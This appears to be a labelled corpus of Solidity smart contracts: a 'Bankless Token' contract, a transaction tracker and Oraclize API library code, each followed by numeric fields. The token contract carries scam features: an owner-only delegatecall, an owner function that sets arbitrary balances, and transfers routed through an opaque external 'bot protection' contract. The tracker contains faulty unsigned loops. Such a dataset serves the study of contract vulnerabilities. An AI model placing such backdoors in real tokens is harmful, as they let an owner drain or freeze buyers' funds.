return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Bank is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Bankless Token";
string public symbol = "BANK";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedBinance, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 234 |
pragma solidity ^0.4.25;
contract Modifiable {
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
contract SelfDestructible {
bool public selfDestructionDisabled;
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
function destructor()
public
view
returns (address);
function disableSelfDestruction()
public
{
require(destructor() == msg.sender);
selfDestructionDisabled = true;
emit SelfDestructionDisabledEvent(msg.sender);
}
function triggerSelfDestruction()
public
{
require(destructor() == msg.sender);
require(!selfDestructionDisabled);
emit TriggerSelfDestructionEvent(msg.sender);
selfdestruct(msg.sender);
}
}
contract Ownable is Modifiable, SelfDestructible {
address public deployer;
address public operator;
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
function destructor()
public
view
returns (address)
{
return deployer;
}
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
address oldDeployer = deployer;
deployer = newDeployer;
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
address oldOperator = operator;
operator = newOperator;
emit SetOperatorEvent(oldOperator, newOperator);
}
}
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
contract Servable is Ownable {
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
emit RegisterServiceEvent(service);
}
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
emit DeregisterServiceEvent(service);
}
function enableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
emit EnableServiceActionEvent(service, action);
}
function disableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
emit DisableServiceActionEvent(service, action);
}
function isRegisteredService(address service)
public
view
returns (bool)
{
return registeredServicesMap[service].registered;
}
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
function isEnabledServiceAction(address service, string action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
function hashString(string _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
contract TransactionTracker is Ownable, Servable {
struct TransactionRecord {
int256 value;
uint256 blockNumber;
address currencyCt;
uint256 currencyId;
}
struct TransactionLog {
TransactionRecord[] records;
mapping(address => mapping(uint256 => uint256[])) recordIndicesByCurrency;
}
string constant public DEPOSIT_TRANSACTION_TYPE = "deposit";
string constant public WITHDRAWAL_TRANSACTION_TYPE = "withdrawal";
bytes32 public depositTransactionType;
bytes32 public withdrawalTransactionType;
mapping(address => mapping(bytes32 => TransactionLog)) private transactionLogByWalletType;
constructor(address deployer) Ownable(deployer)
public
{
depositTransactionType = keccak256(abi.encodePacked(DEPOSIT_TRANSACTION_TYPE));
withdrawalTransactionType = keccak256(abi.encodePacked(WITHDRAWAL_TRANSACTION_TYPE));
}
function add(address wallet, bytes32 _type, int256 value, address currencyCt,
uint256 currencyId)
public
onlyActiveService
{
transactionLogByWalletType[wallet][_type].records.length++;
uint256 index = transactionLogByWalletType[wallet][_type].records.length - 1;
transactionLogByWalletType[wallet][_type].records[index].value = value;
transactionLogByWalletType[wallet][_type].records[index].blockNumber = block.number;
transactionLogByWalletType[wallet][_type].records[index].currencyCt = currencyCt;
transactionLogByWalletType[wallet][_type].records[index].currencyId = currencyId;
transactionLogByWalletType[wallet][_type].recordIndicesByCurrency[currencyCt][currencyId].push(index);
}
function count(address wallet, bytes32 _type)
public
view
returns (uint256)
{
return transactionLogByWalletType[wallet][_type].records.length;
}
function getByIndex(address wallet, bytes32 _type, uint256 index)
public
view
returns (int256 value, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
TransactionRecord storage entry = transactionLogByWalletType[wallet][_type].records[index];
value = entry.value;
blockNumber = entry.blockNumber;
currencyCt = entry.currencyCt;
currencyId = entry.currencyId;
}
function getByBlockNumber(address wallet, bytes32 _type, uint256 _blockNumber)
public
view
returns (int256 value, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return getByIndex(wallet, _type, _indexByBlockNumber(wallet, _type, _blockNumber));
}
function countByCurrency(address wallet, bytes32 _type, address currencyCt,
uint256 currencyId)
public
view
returns (uint256)
{
return transactionLogByWalletType[wallet][_type].recordIndicesByCurrency[currencyCt][currencyId].length;
}
function getByCurrencyIndex(address wallet, bytes32 _type, address currencyCt,
uint256 currencyId, uint256 index)
public
view
returns (int256 value, uint256 blockNumber)
{
uint256 entryIndex = transactionLogByWalletType[wallet][_type].recordIndicesByCurrency[currencyCt][currencyId][index];
TransactionRecord storage entry = transactionLogByWalletType[wallet][_type].records[entryIndex];
value = entry.value;
blockNumber = entry.blockNumber;
}
function getByCurrencyBlockNumber(address wallet, bytes32 _type, address currencyCt,
uint256 currencyId, uint256 _blockNumber)
public
view
returns (int256 value, uint256 blockNumber)
{
return getByCurrencyIndex(
wallet, _type, currencyCt, currencyId,
_indexByCurrencyBlockNumber(
wallet, _type, currencyCt, currencyId, _blockNumber
)
);
}
function _indexByBlockNumber(address wallet, bytes32 _type, uint256 blockNumber)
private
view
returns (uint256)
{
require(0 < transactionLogByWalletType[wallet][_type].records.length);
for (uint256 i = transactionLogByWalletType[wallet][_type].records.length - 1; i >= 0; i--)
if (blockNumber >= transactionLogByWalletType[wallet][_type].records[i].blockNumber)
return i;
revert();
}
function _indexByCurrencyBlockNumber(address wallet, bytes32 _type, address currencyCt,
uint256 currencyId, uint256 blockNumber)
private
view
returns (uint256)
{
require(0 < transactionLogByWalletType[wallet][_type].recordIndicesByCurrency[currencyCt][currencyId].length);
for (uint256 i = transactionLogByWalletType[wallet][_type].recordIndicesByCurrency[currencyCt][currencyId].length - 1; i >= 0; i--) {
uint256 j = transactionLogByWalletType[wallet][_type].recordIndicesByCurrency[currencyCt][currencyId][i];
if (blockNumber >= transactionLogByWalletType[wallet][_type].records[j].blockNumber)
return j;
}
revert();
}
} | 1 | 4,271 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
